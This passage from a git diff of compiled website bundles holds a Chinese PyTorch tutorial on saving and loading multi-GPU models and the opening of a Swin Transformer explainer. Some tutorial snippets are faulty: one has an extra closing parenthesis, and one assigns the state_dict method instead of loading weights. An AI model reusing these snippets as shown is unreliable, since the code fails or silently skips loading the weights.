loaded_dict.items()})\n"})}),"\n",(0,o.jsxs)(n.ul,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.strong,{children:"\u591a\u5361\u4fdd\u5b58+\u591a\u5361\u52a0\u8f7d"})}),"\n"]}),"\n",(0,o.jsxs)(n.p,{children:["\u7531\u4e8e\u662f\u6a21\u578b\u4fdd\u5b58\u548c\u52a0\u8f7d\u90fd\u4f7f\u7528\u7684\u662f\u591a\u5361\uff0c\u56e0\u6b64\u4e0d\u5b58\u5728\u6a21\u578b\u5c42\u540d\u524d\u7f00\u4e0d\u540c\u7684\u95ee\u9898\u3002\u4f46\u591a\u5361\u72b6\u6001\u4e0b\u5b58\u5728\u4e00\u4e2adevice\uff08\u4f7f\u7528\u7684GPU\uff09\u5339\u914d\u7684\u95ee\u9898\uff0c\u5373",(0,o.jsx)(n.strong,{children:"\u4fdd\u5b58\u6574\u4e2a\u6a21\u578b"}),"\u65f6\u4f1a\u540c\u65f6\u4fdd\u5b58\u6240\u4f7f\u7528\u7684GPU id\u7b49\u4fe1\u606f\uff0c\u8bfb\u53d6\u65f6\u82e5\u8fd9\u4e9b\u4fe1\u606f\u548c\u5f53\u524d\u4f7f\u7528\u7684GPU\u4fe1\u606f\u4e0d\u7b26\u5219\u53ef\u80fd\u4f1a\u62a5\u9519\u6216\u8005\u7a0b\u5e8f\u4e0d\u6309\u9884\u5b9a\u72b6\u6001\u8fd0\u884c\u3002\u5177\u4f53\u8868\u73b0\u4e3a\u4ee5\u4e0b\u4e24\u70b9\uff1a"]}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.strong,{children:"\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\u518d\u4f7f\u7528nn.DataParallel\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u8bbe\u7f6e"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u79cd\u60c5\u51b5\u5f88\u53ef\u80fd\u4f1a\u9020\u6210\u4fdd\u5b58\u7684\u6574\u4e2a\u6a21\u578b\u4e2dGPU id\u548c\u8bfb\u53d6\u73af\u5883\u4e0b\u8bbe\u7f6e\u7684GPU id\u4e0d\u7b26\uff0c\u8bad\u7ec3\u65f6\u6570\u636e\u6240\u5728device\u548c\u6a21\u578b\u6240\u5728device\u4e0d\u4e00\u81f4\u800c\u62a5\u9519\u3002"}),"\n",(0,o.jsx)(n.p,{children:(0,o.jsx)(n.strong,{children:"\u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\u800c\u4e0d\u4f7f\u7528nn.DataParallel\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u8bbe\u7f6e"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u79cd\u60c5\u51b5\u53ef\u80fd\u4e0d\u4f1a\u62a5\u9519\uff0c\u6d4b\u8bd5\u4e2d\u53d1\u73b0\u7a0b\u5e8f\u4f1a\u81ea\u52a8\u4f7f\u7528\u8bbe\u5907\u7684\u524dn\u4e2aGPU\u8fdb\u884c\u8bad\u7ec3\uff08n\u662f\u4fdd\u5b58\u7684\u6a21\u578b\u4f7f\u7528\u7684GPU\u4e2a\u6570\uff09\u3002\u6b64\u65f6\u5982\u679c\u6307\u5b9a\u7684GPU\u4e2a\u6570\u5c11\u4e8en\uff0c\u5219\u4f1a\u62a5\u9519\u3002\u5728\u8fd9\u79cd\u60c5\u51b5\u4e0b\uff0c\u53ea\u6709\u4fdd\u5b58\u6a21\u578b\u65f6\u73af\u5883\u7684device id\u548c\u8bfb\u53d6\u6a21\u578b\u65f6\u73af\u5883\u7684device id\u4e00\u81f4\uff0c\u7a0b\u5e8f\u624d\u4f1a\u6309\u7167\u9884\u671f\u5728\u6307\u5b9a\u7684GPU\u4e0a\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u3002"}),"\n",(0,o.jsxs)(n.p,{children:["\u76f8\u6bd4\u4e4b\u4e0b\uff0c\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\uff0c\u4e4b\u540e\u518d\u4f7f\u7528nn.DataParallel\u8fdb\u884c\u5206\u5e03\u5f0f\u8bad\u7ec3\u8bbe\u7f6e\u5219\u6ca1\u6709\u95ee\u9898\u3002\u56e0\u6b64",(0,o.jsx)(n.strong,{children:"\u591a\u5361\u6a21\u5f0f\u4e0b\u5efa\u8bae\u4f7f\u7528\u6743\u91cd\u7684\u65b9\u5f0f\u5b58\u50a8\u548c\u8bfb\u53d6\u6a21\u578b"}),"\uff1a"]}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"import os\nimport torch\nfrom torchvision import models\n\nos.environ['CUDA_VISIBLE_DEVICES'] = '0,1,2' #\u8fd9\u91cc\u66ff\u6362\u6210\u5e0c\u671b\u4f7f\u7528\u7684GPU\u7f16\u53f7\n\nmodel = models.resnet152(pretrained=True)\nmodel = nn.DataParallel(model).cuda()\n\n# \u4fdd\u5b58+\u8bfb\u53d6\u6a21\u578b\u6743\u91cd\uff0c\u5f3a\u70c8\u5efa\u8bae\uff01\uff01\ntorch.save(model.state_dict(), save_dir)\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.load_state_dict(torch.load(save_dir)))\nloaded_model = nn.DataParallel(loaded_model).cuda()\n"})}),"\n",(0,o.jsx)(n.p,{children:"\u5982\u679c\u53ea\u6709\u4fdd\u5b58\u7684\u6574\u4e2a\u6a21\u578b\uff0c\u4e5f\u53ef\u4ee5\u91c7\u7528\u63d0\u53d6\u6743\u91cd\u7684\u65b9\u5f0f\u6784\u5efa\u65b0\u7684\u6a21\u578b\uff1a"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"# \u8bfb\u53d6\u6574\u4e2a\u6a21\u578b\nloaded_whole_model = torch.load(save_dir)\nloaded_model = models.resnet152() #\u6ce8\u610f\u8fd9\u91cc\u9700\u8981\u5bf9\u6a21\u578b\u7ed3\u6784\u6709\u5b9a\u4e49\nloaded_model.state_dict = loaded_whole_model.state_dict\nloaded_model = nn.DataParallel(loaded_model).cuda()\n"})}),"\n",(0,o.jsx)(n.p,{children:'\u53e6\u5916\uff0c\u4e0a\u9762\u6240\u6709\u5bf9\u4e8eloaded_model\u4fee\u6539\u6743\u91cd\u5b57\u5178\u7684\u5f62\u5f0f\u90fd\u662f\u901a\u8fc7\u8d4b\u503c\u6765\u5b9e\u73b0\u7684\uff0c\u5728PyTorch\u4e2d\u8fd8\u53ef\u4ee5\u901a\u8fc7"load_state_dict"\u51fd\u6570\u6765\u5b9e\u73b0\u3002\u56e0\u6b64\u5728\u4e0a\u9762\u7684\u6240\u6709\u793a\u4f8b\u4e2d\uff0c\u6211\u4eec\u4f7f\u7528\u4e86\u4e24\u79cd\u5b9e\u73b0\u65b9\u5f0f\u3002'}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"loaded_model.load_state_dict(loaded_dict)\n"})}),"\n",(0,o.jsx)(n.h2,{id:"545-\u5176\u4ed6\u53c2\u6570\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6",children:"5.4.5 \u5176\u4ed6\u53c2\u6570\u7684\u4fdd\u5b58\u548c\u8bfb\u53d6"}),"\n",(0,o.jsx)(n.p,{children:"\u5728\u6df1\u5ea6\u5b66\u4e60\u9879\u76ee\u91cc\uff0c\u6709\u65f6\u5019\u6211\u4eec\u4e0d\u4ec5\u4ec5\u9700\u8981\u4fdd\u5b58\u6a21\u578b\u7684\u6743\u91cd\uff0c\u8fd8\u9700\u8981\u4fdd\u5b58\u4e00\u4e9b\u5176\u4ed6\u7684\u53c2\u6570\uff0c\u6bd4\u5982\u8bad\u7ec3\u7684epoch\u6570\u3001\u8bad\u7ec3\u7684loss\uff0c\u4f18\u5316\u5668\u7684\u53c2\u6570\uff0c\u52a8\u6001\u8c03\u6574\u5b66\u4e60\u7b56\u7565\u7684\u53c2\u6570\u7b49\u7b49\u3002\u8fd9\u4e9b\u53c2\u6570\u53ef\u4ee5\u901a\u8fc7\u5b57\u5178\u7684\u5f62\u5f0f\u4fdd\u5b58\u5728\u4e00\u4e2a\u6587\u4ef6\u91cc\uff0c\u7136\u540e\u5728\u8bfb\u53d6\u6a21\u578b\u65f6\u4e00\u8d77\u8bfb\u53d6\u3002\u8fd9\u91cc\u6211\u4eec\u4ee5\u4e0b\u65b9\u4ee3\u7801\u4e3a\u4f8b\uff1a"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"torch.save({\n 'model': model.state_dict(),\n 'optimizer': optimizer.state_dict(),\n 'lr_scheduler': lr_scheduler.state_dict(),\n 'epoch': epoch,\n 'args': args,\n }, checkpoint_path)\n"})}),"\n",(0,o.jsx)(n.p,{children:"\u8fd9\u4e9b\u53c2\u6570\u7684\u8bfb\u53d6\u65b9\u5f0f\u4e5f\u662f\u7c7b\u4f3c\u7684\uff1a"}),"\n",(0,o.jsx)(n.pre,{children:(0,o.jsx)(n.code,{className:"language-python",children:"checkpoint = torch.load(checkpoint_path)\nmodel.load_state_dict(checkpoint['model'])\noptimizer.load_state_dict(checkpoint['optimizer'])\nlr_scheduler.load_state_dict(checkpoint['lr_scheduler'])\nepoch = checkpoint['epoch']\nargs = checkpoint['args']\n"})}),"\n",(0,o.jsx)(n.h2,{id:"\u9644\u6d4b\u8bd5\u73af\u5883",children:"\u9644\uff1a\u6d4b\u8bd5\u73af\u5883"}),"\n",(0,o.jsx)(n.p,{children:"OS: Ubuntu 20.04 LTS GPU: GeForce RTX 2080 Ti (x3)"}),"\n",(0,o.jsx)(n.h2,{id:"\u53c2\u8003\u8d44\u6599",children:"\u53c2\u8003\u8d44\u6599"}),"\n",(0,o.jsxs)(n.p,{children:["\u672c\u7ae0\u5185\u5bb9\u540c\u65f6\u53d1\u5e03\u4e8e",(0,o.jsx)(n.a,{href:"https://zhuanlan.zhihu.com/p/371090724",children:"\u77e5\u4e4e"}),"\u548c",(0,o.jsx)(n.a,{href:"https://blog.csdn.net/goodljq/article/details/117258032",children:"CSDN"})]}),"\n",(0,o.jsxs)(n.ol,{children:["\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.a,{href:"https://www.zhihu.com/question/274533811",children:"pytorch \u4e2dpkl\u548cpth\u7684\u533a\u522b\uff1f"})}),"\n",(0,o.jsx)(n.li,{children:(0,o.jsx)(n.a,{href:"https://stackoverflow.com/questions/59095824/what-is-the-difference-between-pt-pth-and-pwf-extentions-in-pytorch",children:"What is the difference between .pt, .pth and .pwf extentions in PyTorch?"})}),"\n"]})]})}function h(e={}){const{wrapper:n}={...(0,r.R)(),...e.components};return n?(0,o.jsx)(n,{...e,children:(0,o.jsx)(a,{...e})}):a(e)}}}]); \ No newline at end of file diff --git a/assets/js/110abd90.42f19537.js b/assets/js/110abd90.42f19537.js new file mode 100644 index 0000000..cec7a03 --- /dev/null +++ b/assets/js/110abd90.42f19537.js @@ -0,0 +1 @@ +"use strict";(globalThis.webpackChunkblog=globalThis.webpackChunkblog||[]).push([[6913],{12024:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Architecture-67a7aa2845a3aa954692733fdfef2351.png"},12709:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Window_Partition_Reverse-fb094a768e02bbb5c57aba7b8f4996d2.png"},23737:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/Patch_embedding-6f27be8139f6dc24f6687fd8bf94a912.png"},28453:(n,e,s)=>{s.d(e,{R:()=>d,x:()=>o});var i=s(96540);const r={},t=i.createContext(r);function d(n){const e=i.useContext(t);return i.useMemo(function(){return"function"==typeof n?n(e):{...e,...n}},[e,n])}function o(n){let e;return e=n.disableParentContext?"function"==typeof n.components?n.components(r):n.components||r:d(n.components),i.createElement(t.Provider,{value:e},n.children)}},32928:(n,e,s)=>{s.d(e,{A:()=>i});const i=s.p+"assets/images/bias0-79a7bcf048bdd7436667a02628bd349a.png"},45860:(n,e,s)=>{s.r(e),s.d(e,{assets:()=>l,contentTitle:()=>o,default:()=>h,frontMatter:()=>d,metadata:()=>i,toc:()=>a});const i=JSON.parse('{"id":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","title":"Swin-Transformer\u89e3\u8bfb.md","description":"|\u4f5c\u8005|\u4fee\u8ba2\u65f6\u95f4|","source":"@site/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb.md","sourceDirName":"\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0","slug":"/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/Swin-Transformer\u89e3\u8bfb.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"ResNet\u6e90\u7801\u89e3\u8bfb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/ResNet\u6e90\u7801\u89e3\u8bfb"},"next":{"title":"Transformer \u89e3\u8bfb.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/Transformer \u89e3\u8bfb"}}');var r=s(74848),t=s(28453);const d={},o="Swin-Transformer\u89e3\u8bfb.md",l={},a=[{value:"\u524d\u8a00",id:"\u524d\u8a00",level:2},{value:"\u6a21\u578b\u7ed3\u6784",id:"\u6a21\u578b\u7ed3\u6784",level:2},{value:"Patch Embedding",id:"patch-embedding",level:2},{value:"Patch Merging",id:"patch-merging",level:2},{value:"Window Partition/Reverse",id:"window-partitionreverse",level:2},{value:"Window Attention",id:"window-attention",level:2},{value:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u76f4\u89c2\u7406\u89e3",id:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u76f4\u89c2\u7406\u89e3",level:3},{value:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u4ee3\u7801\u8be6\u89e3",id:"\u76f8\u5173\u4f4d\u7f6e\u7f16\u7801\u7684\u4ee3\u7801\u8be6\u89e3",level:3},{value:"Shifted Window Attention",id:"shifted-window-attention",level:2},{value:"\u7279\u5f81\u56fe\u79fb\u4f4d\u64cd\u4f5c",id:"\u7279\u5f81\u56fe\u79fb\u4f4d\u64cd\u4f5c",level:3},{value:"Attention Mask",id:"attention-mask",level:3},{value:"W-MSA\u548cMSA\u7684\u590d\u6742\u5ea6\u5bf9\u6bd4",id:"w-msa\u548cmsa\u7684\u590d\u6742\u5ea6\u5bf9\u6bd4",level:2},{value:"MSA\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",id:"msa\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",level:3},{value:"W-MSA\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",id:"w-msa\u6a21\u5757\u7684\u8ba1\u7b97\u91cf",level:3},{value:"\u6574\u4f53\u6d41\u7a0b\u56fe",id:"\u6574\u4f53\u6d41\u7a0b\u56fe",level:2}];function c(n){const e={a:"a",b:"b",blockquote:"blockquote",br:"br",code:"code",font:"font",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",li:"li",p:"p",pre:"pre",strong:"strong",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",ul:"ul",...(0,t.R)(),...n.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(e.header,{children:(0,r.jsx)(e.h1,{id:"swin-transformer\u89e3\u8bfbmd",children:"Swin-Transformer\u89e3\u8bfb.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(e.table,{children:[(0,r.jsx)(e.thead,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(e.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(e.tbody,{children:(0,r.jsxs)(e.tr,{children:[(0,r.jsx)(e.td,{style:{textAlign:"left"},children:(0,r.jsx)(e.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(e.td,{style:{textAlign:"left"},children:"2026-06-07 18:52:46"})]})})]}),"\n",(0,r.jsx)(e.h1,{id:"swin-transformer\u89e3\u8bfb",children:"Swin Transformer\u89e3\u8bfb"}),"\n",(0,r.jsxs)(e.p,{children:["\n",(0,r.jsx)(e.font,{size:"3",children:(0,r.jsx)(e.b,{children:"[Swin-T] Swin Transformer: Hierarchical Vision Transformer using Shifted Windows"})}),"\n",(0,r.jsx)(e.br,{}),"\n",(0,r.jsx)(e.font,{size:"2",children:"Ze Liu, Yutong Lin, Yue Cao, Han Hu, Yixuan Wei, Zheng Zhang, Stephen Lin, Baining Guo."}),"\n",(0,r.jsx)(e.br,{}),"\n",(0,r.jsx)(e.font,{size:"2",children:"ICCV 2021."}),"\n",(0,r.jsx)(e.a,{href:"https://arxiv.org/pdf/2103.14030.pdf",children:"[paper]"})," ",(0,r.jsx)(e.a,{href:"https://github.com/microsoft/Swin-Transformer",children:"[code]"})," \n",(0,r.jsx)(e.br,{}),"\n",(0,r.jsx)(e.font,{size:"3",children:"\u89e3\u8bfb\u8005\uff1a\u6c88\u8c6a\uff0c\u590d\u65e6\u5927\u5b66\u535a\u58eb\uff0cDatawhale\u6210\u5458"}),"\n",(0,r.jsx)(e.br,{}),"\n"]}),"\n",(0,r.jsx)(e.h2,{id:"\u524d\u8a00",children:"\u524d\u8a00"}),"\n",(0,r.jsxs)(e.p,{children:["\u300a",(0,r.jsx)(e.a,{href:"https://arxiv.org/abs/2103.14030",children:"Swin Transformer: Hierarchical Vision Transformer using Shifted Windows"}),"\u300b\u4f5c\u4e3a2021 ICCV\u6700\u4f73\u8bba\u6587\uff0c\u5c60\u699c\u4e86\u5404\u5927CV\u4efb\u52a1\uff0c\u6027\u80fd\u4f18\u4e8eDeiT\u3001ViT\u548cEfficientNet\u7b49\u4e3b\u5e72\u7f51\u7edc\uff0c\u5df2\u7ecf\u66ff\u4ee3\u7ecf\u5178\u7684CNN\u67b6\u6784\uff0c\u6210\u4e3a\u4e86",(0,r.jsx)(e.strong,{children:"\u8ba1\u7b97\u673a\u89c6\u89c9\u9886\u57df\u901a\u7528\u7684backbone"}),"\u3002\u5b83\u57fa\u4e8e\u4e86ViT\u6a21\u578b\u7684\u601d\u60f3\uff0c\u521b\u65b0\u6027\u7684\u5f15\u5165\u4e86",(0,r.jsx)(e.strong,{children:"\u6ed1\u52a8\u7a97\u53e3\u673a\u5236"}),"\uff0c\u8ba9\u6a21\u578b\u80fd\u591f\u5b66\u4e60\u5230\u8de8\u7a97\u53e3\u7684\u4fe1\u606f\uff0c\u540c\u65f6\u4e5f\u3002\u540c\u65f6\u901a\u8fc7",(0,r.jsx)(e.strong,{children:"\u4e0b\u91c7\u6837\u5c42"}),"\uff0c\u4f7f\u5f97\u6a21\u578b\u80fd\u591f\u5904\u7406\u8d85\u5206\u8fa8\u7387\u7684\u56fe\u7247\uff0c\u8282\u7701\u8ba1\u7b97\u91cf\u4ee5\u53ca\u80fd\u591f\u5173\u6ce8\u5168\u5c40\u548c\u5c40\u90e8\u7684\u4fe1\u606f\u3002\u800c\u672c\u6587\u5c06\u4ece\u539f\u7406\u548c\u4ee3\u7801\u89d2\u5ea6\u8be6\u7ec6\u89e3\u6790Swin Transformer\u7684\u67b6\u6784\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u76ee\u524d\u5c06 Transformer \u4ece\u81ea\u7136\u8bed\u8a00\u5904\u7406\u9886\u57df\u5e94\u7528\u5230\u8ba1\u7b97\u673a\u89c6\u89c9\u9886\u57df\u4e3b\u8981\u6709\u4e24\u5927\u6311\u6218\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsx)(e.li,{children:"\u89c6\u89c9\u5b9e\u4f53\u7684\u65b9\u5dee\u8f83\u5927\uff0c\u4f8b\u5982\u540c\u4e00\u4e2a\u7269\u4f53\uff0c\u62cd\u6444\u89d2\u5ea6\u4e0d\u540c\uff0c\u8f6c\u5316\u4e3a\u4e8c\u8fdb\u5236\u540e\u7684\u56fe\u7247\u5c31\u4f1a\u5177\u6709\u5f88\u5927\u7684\u5dee\u5f02\u3002\u540c\u65f6\u5728\u4e0d\u540c\u573a\u666f\u4e0b\u89c6\u89c9 Transformer \u6027\u80fd\u672a\u5fc5\u5f88\u597d\u3002"}),"\n",(0,r.jsx)(e.li,{children:"\u56fe\u50cf\u5206\u8fa8\u7387\u9ad8\uff0c\u50cf\u7d20\u70b9\u591a\uff0c\u5982\u679c\u91c7\u7528ViT\u6a21\u578b\uff0c\u81ea\u6ce8\u610f\u529b\u7684\u8ba1\u7b97\u91cf\u4f1a\u4e0e\u50cf\u7d20\u7684\u5e73\u65b9\u6210\u6b63\u6bd4\u3002"}),"\n"]}),"\n",(0,r.jsxs)(e.p,{children:["\u9488\u5bf9\u4e0a\u8ff0\u4e24\u4e2a\u95ee\u9898\uff0c\u8bba\u6587\u4e2d\u63d0\u51fa\u4e86\u4e00\u79cd\u57fa\u4e8e",(0,r.jsx)(e.strong,{children:"\u6ed1\u52a8\u7a97\u53e3\u673a\u5236\uff0c\u5177\u6709\u5c42\u7ea7\u8bbe\u8ba1\uff08\u4e0b\u91c7\u6837\u5c42\uff09"})," \u7684 Swin Transformer\u3002"]}),"\n",(0,r.jsxs)(e.p,{children:["\u5176\u4e2d",(0,r.jsx)(e.strong,{children:"\u6ed1\u7a97\u64cd\u4f5c"}),"\u5305\u62ec",(0,r.jsx)(e.strong,{children:"\u4e0d\u91cd\u53e0\u7684 local window\uff0c\u548c\u91cd\u53e0\u7684 cross-window"}),"\u3002\u5c06\u6ce8\u610f\u529b\u8ba1\u7b97\u9650\u5236\u5728\u4e00\u4e2a\u7a97\u53e3\uff08window size\u56fa\u5b9a\uff09\u4e2d\uff0c",(0,r.jsx)(e.strong,{children:"\u4e00\u65b9\u9762\u80fd\u5f15\u5165 CNN \u5377\u79ef\u64cd\u4f5c\u7684\u5c40\u90e8\u6027\uff0c\u53e6\u4e00\u65b9\u9762\u80fd\u5927\u5e45\u5ea6\u8282\u7701\u8ba1\u7b97\u91cf"}),"\uff0c\u5b83\u53ea\u548c\u7a97\u53e3\u6570\u91cf\u6210\u7ebf\u6027\u5173\u7cfb\u3002\u901a\u8fc7",(0,r.jsx)(e.strong,{children:"\u4e0b\u91c7\u6837"}),"\u7684\u5c42\u7ea7\u8bbe\u8ba1\uff0c\u80fd\u591f\u9010\u6e10\u589e\u5927\u611f\u53d7\u91ce\uff0c\u4ece\u800c\u4f7f\u5f97\u6ce8\u610f\u529b\u673a\u5236\u4e5f\u80fd\u591f\u6ce8\u610f\u5230",(0,r.jsx)(e.strong,{children:"\u5168\u5c40"}),"\u7684\u7279\u5f81\u3002"]}),"\n",(0,r.jsx)(e.img,{src:"./figures/Swin-T&ViT.png",alt:"Swin-T&ViT",style:{zoom:"50%"}}),"\n",(0,r.jsx)(e.p,{children:"\u5728\u8bba\u6587\u7684\u6700\u540e\uff0c\u4f5c\u8005\u4e5f\u901a\u8fc7\u5927\u91cf\u7684\u5b9e\u9a8c\u8bc1\u660eSwin Transformer\u76f8\u8f83\u4e8e\u4ee5\u524d\u7684SOTA\u6a21\u578b\u5747\u6709\u63d0\u9ad8\uff0c\u5c24\u5176\u662f\u5728ADE20K\u6570\u636e\u548cCOCO\u6570\u636e\u96c6\u4e0a\u7684\u8868\u73b0\u3002\u4e5f\u8bc1\u660e\u4e86Swin Transformer\u53ef\u4ee5\u4f5c\u4e3a\u4e00\u79cd\u901a\u7528\u9aa8\u5e72\u7f51\u7edc\u88ab\u4f7f\u7528\u3002"}),"\n",(0,r.jsx)(e.h2,{id:"\u6a21\u578b\u7ed3\u6784",children:"\u6a21\u578b\u7ed3\u6784"}),"\n",(0,r.jsx)(e.p,{children:(0,r.jsx)(e.img,{alt:"Architecture",src:s(12024).A+"",width:"2367",height:"806"})}),"\n",(0,r.jsxs)(e.p,{children:["\u6574\u4e2a\u6a21\u578b\u91c7\u53d6\u5c42\u6b21\u5316\u7684\u8bbe\u8ba1\uff0c\u4e00\u5171\u5305\u542b 4 \u4e2a Stage\uff0c\u9664\u7b2c\u4e00\u4e2a stage \u5916\uff0c\u6bcf\u4e2a stage \u90fd\u4f1a\u5148\u901a\u8fc7 ",(0,r.jsx)(e.strong,{children:"Patch Merging"})," \u5c42\u7f29\u5c0f\u8f93\u5165\u7279\u5f81\u56fe\u7684\u5206\u8fa8\u7387\uff0c\u8fdb\u884c",(0,r.jsx)(e.strong,{children:"\u4e0b\u91c7\u6837\u64cd\u4f5c"}),"\uff0c\u50cf CNN \u4e00\u6837\u9010\u5c42\u6269\u5927\u611f\u53d7\u91ce\uff0c\u4ee5\u4fbf\u83b7\u53d6\u5230\u5168\u5c40\u7684\u4fe1\u606f\u3002"]}),"\n",(0,r.jsx)(e.p,{children:"\u4ee5\u8bba\u6587\u7684\u89d2\u5ea6\uff1a"}),"\n",(0,r.jsxs)(e.ul,{children:["\n",(0,r.jsxs)(e.li,{children:["\u5728\u8f93\u5165\u5f00\u59cb\u7684\u65f6\u5019\uff0c\u505a\u4e86\u4e00\u4e2a",(0,r.jsx)(e.code,{children:"Patch Partition"}),"\uff0c\u5373ViT\u4e2d",(0,r.jsx)(e.code,{children:"Patch Embedding"}),"\u64cd\u4f5c\uff0c\u901a\u8fc7 ",(0,r.jsx)(e.strong,{children:"Patch_size"})," \u4e3a4\u7684\u5377\u79ef\u5c42\u5c06\u56fe\u7247\u5207\u6210\u4e00\u4e2a\u4e2a ",(0,r.jsx)(e.strong,{children:"Patch"})," \uff0c\u5e76\u5d4c\u5165\u5230",(0,r.jsx)(e.code,{children:"Embedding"}),"\uff0c\u5c06 ",(0,r.jsx)(e.strong,{children:"embedding_size"})," \u8f6c\u53d8\u4e3a48\uff08\u53ef\u4ee5\u5c06 CV \u4e2d\u56fe\u7247\u7684",(0,r.jsx)(e.strong,{children:"\u901a\u9053\u6570"}),"\u7406\u89e3\u4e3aNLP\u4e2dtoken\u7684",(0,r.jsx)(e.strong,{children:"\u8bcd\u5d4c\u5165\u957f\u5ea6"}),"\uff09\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u968f\u540e\u5728\u7b2c\u4e00\u4e2aStage\u4e2d\uff0c\u901a\u8fc7",(0,r.jsx)(e.code,{children:"Linear Embedding"}),"\u8c03\u6574\u901a\u9053\u6570\u4e3aC\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u5728\u6bcf\u4e2a Stage \u91cc\uff08\u9664\u7b2c\u4e00\u4e2a Stage \uff09\uff0c\u5747\u7531",(0,r.jsx)(e.code,{children:"Patch Merging"}),"\u548c\u591a\u4e2a",(0,r.jsx)(e.code,{children:"Swin Transformer Block"}),"\u7ec4\u6210\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u5176\u4e2d",(0,r.jsx)(e.code,{children:"Patch Merging"}),"\u6a21\u5757\u4e3b\u8981\u5728\u6bcf\u4e2a Stage \u4e00\u5f00\u59cb\u964d\u4f4e\u56fe\u7247\u5206\u8fa8\u7387\uff0c\u8fdb\u884c\u4e0b\u91c7\u6837\u7684\u64cd\u4f5c\u3002"]}),"\n",(0,r.jsxs)(e.li,{children:["\u800c",(0,r.jsx)(e.code,{children:"Swin Transformer Block"}),"\u5177\u4f53\u7ed3\u6784\u5982\u53f3\u56fe\u6240\u793a\uff0c\u4e3b\u8981\u662f",(0,r.jsx)(e.code,{children:"LayerNorm"}),"\uff0c",(0,r.jsx)(e.code,{children:"Window Attention"})," \uff0c",(0,r.jsx)(e.code,{children:"Shifted Window Attention"}),"\u548c",(0,r.jsx)(e.code,{children:"MLP"}),"\u7ec4\u6210 